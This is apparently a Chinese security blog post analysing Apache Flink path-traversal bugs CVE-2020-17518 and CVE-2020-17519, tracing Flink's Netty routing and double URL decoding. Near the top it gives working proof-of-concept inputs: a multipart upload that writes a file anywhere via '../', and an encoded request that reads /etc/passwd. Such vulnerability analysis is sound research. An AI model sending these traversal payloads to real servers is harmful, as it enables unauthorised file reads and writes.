Hu3sky's blog

CVE-2020-17518/17519:Apache Flink 目录遍历漏洞&路由分析

Word count: 1,920 / Reading time: 8 min
2021/01/18 Share

简介

CVE-2020-17518: 文件写入漏洞

攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的),网上给出的上传是/jars/upload,上传并不限于这个路径,任意路径都可触发上传操作,后面会说明原理。

commit:

https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4

diff:

80295c8b9f379a0fd6e1db5054d9e275

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /xxxxx HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 240
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydLJYTdN9WQcccoYR ; boundary=----WebKitFormBoundarydLJYTdN9WQccca
Origin: http://shiro:8081
Referer: http://shiro:8081/
Accept-Encoding: gzip, deflate
Transfer-Encoding: chunked;
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarydLJYTdN9WQcccoYR
Content-Disposition: form-data; name="filename"; filename="../../../../../../../../../../../../tmp/test.jar"
Content-Type: application/text

360cert

------WebKitFormBoundarydLJYTdN9WQcccoYR--

379667e369d65da4715e135b89af4f8d

CVE-2020-17519: 文件读取漏洞

Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)。

commit:

https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801

diff:

0512c391d5a58e37c9b4b3349de6a388

poc

1
2
/jobmanager/logs/..%252fREADME.txt
/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

8cfdb24a979634393181142056ece657

前置知识

一个 Flink 集群总是包含一个 JobManager 以及一个或多个 Flink TaskManager。JobManager 负责处理 Job 提交、 Job 监控以及资源管理。Flink TaskManager 运行 worker 进程, 负责实际任务 Tasks 的执行,而这些任务共同组成了一个 Flink Job。

REST-APi

Flink 具有监控 API ,可用于查询正在运行的作业以及最近完成的作业的状态和统计信息。该监控 API 被用于 Flink 自己的仪表盘,同时也可用于自定义监控工具。

https://ci.apache.org/projects/flink/flink-docs-release-1.12/zh/ops/rest_api.html#rest-api

REST API 后端位于 flink-runtime 项目中。核心类是 org.apache.flink.runtime.webmonitor.WebMonitorEndpoint ,用来配置服务器和请求路由。

Netty

Rest API 里请求的分派就涉及到了使用 NettyNetty Router 库。
Netty是一款基于NIO(Nonblocking I/O,非阻塞IO)开发的网络通信框架。

Channel

Channel,表示一个连接,可以理解为每一个请求,就是一个Channel
ChannelHandler,核心处理业务就在这里,用于处理业务请求
ChannelHandlerContext,用于传输业务数据,flink中的例子对应AbstractChannelHandlerContext,包含prev上一节点 handlernext 下一节点 handler
83fe869d55d91e89a19ac3cb76196625

ChannelPipeline,用于保存处理过程需要用到的 ChannelHandlerChannelHandlerContext

3bdedcb5a5cc26f9cb8114b6c936d014

事件在 pipeline 中的传播:

  1. 传播行为:事件执行到某个 Handler 后,如果不手动触发 ctx.fireChannelRead,则传播中断。
  2. 执行线程:业务线程默认是在 NioEventLoop 中执行。如果业务处理有阻塞,需要考虑另起线程执行。

事件的处理:主要是在 HandlerchannelRead 上进行处理。

分析

路由

初始化

REST API 后端位于 flink-runtime 项目中。核心类是org.apache.flink.runtime.webmonitor.WebMonitorEndpoint,用来配置服务器和请求路由。

根据官方文档,可以知道,如果添加一个新的 api 需要:

  1. 添加一个新的 MessageHeaders 实现类,作为新请求的接口。
  2. 添加一个新的 AbstractRestHandler 实现类,相当于一个ChannelHandler,该类接收并处理 MessageHeaders 类的请求。
  3. 将处理程序添加到 org.apache.flink.runtime.webmonitor.WebMonitorEndpoint#initializeHandlers() 中。

以出现漏洞的api为例,在初始化路由的时候,代码如下:

1
2
3
4
5
6
7
8
protected List<Tuple2<RestHandlerSpecification, ChannelInboundHandler>> initializeHandlers(CompletableFuture<String> localAddressFuture) {
...

JobManagerCustomLogHandler jobManagerCustomLogHandler = new JobManagerCustomLogHandler(this.leaderRetriever, timeout, this.responseHeaders, JobManagerCustomLogHeaders.getInstance(), logFileLocation.logDir);

...

}

这里的 JobManagerCustomLogHandler 就是AbstractRestHandler的实现类,也就是体现 api 具体功能的类,而 JobManagerCustomLogHeadersMessageHeaders 类的实现类,具体定义了 api 的访问路径,这里的 JobManagerCustomLogHeaders.getInstance() 体现了单例的设计模式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class JobManagerCustomLogHeaders implements UntypedResponseMessageHeaders<EmptyRequestBody, FileMessageParameters> {
private static final JobManagerCustomLogHeaders INSTANCE = new JobManagerCustomLogHeaders();
private static final String URL = String.format("/jobmanager/logs/:%s", "filename");

private JobManagerCustomLogHeaders() {
}

public static JobManagerCustomLogHeaders getInstance() {
return INSTANCE;
}

public Class<EmptyRequestBody> getRequestClass() {
return EmptyRequestBody.class;
}

public FileMessageParameters getUnresolvedMessageParameters() {
return new FileMessageParameters();
}

public HttpMethodWrapper getHttpMethod() {
return HttpMethodWrapper.GET;
}

public String getTargetRestEndpointURL() {
return URL;
}
}

注册路由

之后,将初始化的路由进行注册,主要调用的是RestServerEndpoint#registerHandler,这里会根据MessageHeaders实现类给出的请求方法分派给Router类的不同adder处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private static void registerHandler(Router router, String handlerURL, HttpMethodWrapper httpMethod, ChannelInboundHandler handler) {
switch(httpMethod) {
case GET:
router.addGet(handlerURL, handler);
break;
case POST:
router.addPost(handlerURL, handler);
break;
case DELETE:
router.addDelete(handlerURL, handler);
break;
case PATCH:
router.addPatch(handlerURL, handler);
break;
default:
throw new RuntimeException("Unsupported http method: " + httpMethod + '.');
}

}

注册之后,保存在routers里,不同的处理方式存放不同的handler。

08793e4a3fbb676eae503197b5efc67a

请求分派

之后,当我们发起请求的时候,就由RouterHandler#channelRead0来进行请求的分派。
根据我们发起的请求,获取请求方式,然后获取url,此时的url没有解码,然后实例化一个QueryStringDecoder,赋值给qsd
2d80f4a43d1ad3d8110660b7c0688ec9
然后,就调用 Router#route,传入三个参数,请求方式、qsd#pathqsd#parameters

第一次解码

path是一开始没有被赋值的,于是,这里会调用decodeComponent方法,并且传入我们请求的url,也就是/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
a9fa780b8351245cc4e3d643015f03ab

decodeComponent是自定义的一个解码方法,在这里会定位到%,并解码 %xx,然后拼接,问题就在于这里的解码只解了一次,于是返回的path/jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

然后调用route方法。

第二次解码

根据请求的method,获取routers里对应的路由。然后对path调用decodePathTokens
a9b3e6cf5948df38b1a70102cbfb4f93
这里会以/拆分path,然后分别解码,其中,解码依然是调用了decodeComponent这个方法进行解码,
fb1c8cab63d5a793e55d562df758a99b
最终解码的结果为,赋值给tokens
98e42558417df6bf987d7781a34b148c

路径匹配

然后继续调用另一个route方法,传入pathtokens,这个方法里会根据传入的 pathrouter 里进行匹配对应的路径,我们匹配到的是 jobmanager/logs/:filename

4861c84852a06faf7eb09ca83adc0e91

然后获取到对应的handler->JobManagerCustomLogHandler

然后将tokenshandler、等存到RoutedRequest里。
cb2b345fac5daac22000e66f4632fe7d

CVE-2020-17519

之后,请求/事件会被传播到LeaderRetrievalHandler#channelRead0,这里,会调用之前匹配到的 HandlerrespondAsLeader 方法。

cf305285e6a2dc56dcc4430714f97fbe

Log 对应的 JobManagerCustomLogHandler 没有 respondAsLeader 方法,于是调用其父类 AbstractHandlerrespondAsLeader 方法。接着,在内部又调了AbstractHandler 子类 AbstractJobManagerFileHandlerrespondAsLeader

调用JobManagerCustomLogHandler#getFile
db352da7d45ac2503110ec6b66150130

handlerRequest 里获取到 tokens 里的 filename
8bb8fd1cd97d2e727281a432526c9431

CVE-2020-17518

上传的处理是在 FileUploadHandler#channelRead0,产生的原因依然是存在路径遍历,可以上传到任意目录下,造成任意文件写入。

msg 是一个 HttpContent 类型的时候,可以走到 FileUploadHandler 的上传逻辑,于是构造一个上传表单即可,具体的包在文首有。

这里上传请求的 url 路径可以是任意的,因为请求是一定会分派到 FileUploadHandler 进行处理的,这是由 flink 设置的 handler 处理链所决定的。

文件是通过 renameTo 方法进行移动的,将上传的临时文件进行转移。
4c57eb27210ac8e2f6aa363a21ebdaf0

offer方法里会对body进行解析,解析出 filename 等信息。
790e9b6a1e807906f792e18705e09f0d

调用链较长
9a2f4f9a55985453c9554b04aabdcd2d

随后在renameTo发生遍历。

总结

任意文件读取主要是由于在处理访问logs请求的时候,Handler会去请求读取logs文件,然而该文件名的编码处理出现了问题,从而在读文件的时候造成了路径遍历,文件上传也是同样的道理,不过有意思的是,任意路径都可以触发,即使路径并不存在,因为处理文件的Handler是众多对请求进行处理的必经之路。

Reference

CATALOG
  1. 1. 简介
    1. 1.1. CVE-2020-17518: 文件写入漏洞
    2. 1.2. CVE-2020-17519: 文件读取漏洞
  2. 2. 前置知识
    1. 2.1. REST-APi
    2. 2.2. Netty
      1. 2.2.1. Channel
  3. 3. 分析
    1. 3.1. 路由
      1. 3.1.1. 初始化
      2. 3.1.2. 注册路由
      3. 3.1.3. 请求分派
        1. 3.1.3.1. 第一次解码
        2. 3.1.3.2. 第二次解码
        3. 3.1.3.3. 路径匹配
    2. 3.2. CVE-2020-17519
    3. 3.3. CVE-2020-17518
  4. 4. 总结
  5. 5. Reference